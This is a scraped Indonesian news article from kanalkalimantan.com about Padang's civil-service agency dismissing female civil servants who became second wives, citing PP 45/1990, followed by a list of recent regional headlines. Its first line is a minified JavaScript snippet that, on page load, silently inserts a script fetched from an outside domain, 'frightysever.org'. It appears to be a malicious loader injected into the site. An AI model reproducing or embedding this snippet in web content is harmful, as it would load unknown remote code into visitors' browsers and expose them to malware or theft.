(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dilarang, Dua ASN Mau Jadi Istri Kedua, Malah Kena Pecat


KANALKALIMANTAN.COM – Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Padang memberi sanksi dua orang ASN yang dilaporkan menjadi istri kedua berupa pemberhentian karena karena melanggar aturan PP 45 1990 soal izin perkawinan dan perceraian bagi PNS.

“Saat ini kami sedang memproses seorang ASN yang berstatus sebagai istri kedua, sebelumnya sudah ada yang diberi sanksi Pemberhentian Tidak Dengan Hormat pada 2020 untuk kasus serupa,” kata Kepala BKPSDM Padang Arfian, Rabu (29/9/2021).

Menurut dia, terkait dengan kasus perselingkuhan pihaknya tidak main-main karena begitu ada laporan yang masuk akan segera diproses.

“Jika terbukti akan langsung diberhentikan,” kata dia.

 

 

Baca juga: Update Covid-19 Global: BOR di RS Singapura Makin Meningkat

Ia menegaskan berdasarkan aturan seorang ASN perempuan tidak boleh menjadi istri kedua.

Akan tetapi untuk ASN laki-laki boleh berpoligami dengan syarat ada izin atasan dan istri pertama.

Dalam PP 45 1990 soal izin perkawinan dan perceraian pasal 4 ayat 2 dinyatakan PNS wanita tidak diizinkan untuk menjadi istri kedua, ketiga dan keempat.

Kemudian di pasal 15 ayat 2 dinyatakan PNS wanita yang melanggar dikenai sanksi pemberhentian dengan tidak hormat.

Sementara pada 2020 sebanyak 10 PNS di Pemko Padang telah diproses karena melanggar PP 53 2010 tentang disiplin kepegawaian.

Dari 10 orang tersebut 7 orang murni pelanggaran disiplin, satu orang karena memakai narkoba, satu orang dilaporkan melakukan pelecehan terhadap perempuan namun tidak terbukti dan satu lagi menikah kedua kali tanpa izin atasan.

Sementara Kabid Penilaian Kinerja Aparatur dan Penghargaan BKPSDM Padang Agustini menyampaikan ketika ASN diduga melakukan pelanggaran disiplin kepegawaian maka akan diproses mulai dari atasan langsung hingga dilimpahkan ke BKPSM.

Baca juga: TOK! PTUN Banjarmasin Menangkan Gugatan Class Action Korban Banjir Kalsel!

“Di BKPSDM akan ada tim adhoc dari unsur kepegawaian, inspektorat dan atasan langsung yang melakukan pemeriksaan hingga persidangan dan pengambilan putusan,” kata dia.

Ia membenarkan adanya laporan dan proses pemberian sanksi dua ASN wanita yang menjadi istri kedua.

Akan tetapi sebaliknya sampai saat ini pihaknya belum pernah menerima izin pengajuan poligami dari ASN pria. (Antara/Suara.com)

Editor : kk


Risa

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

6 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

7 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

13 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

14 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

17 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

17 jam ago

This website uses cookies.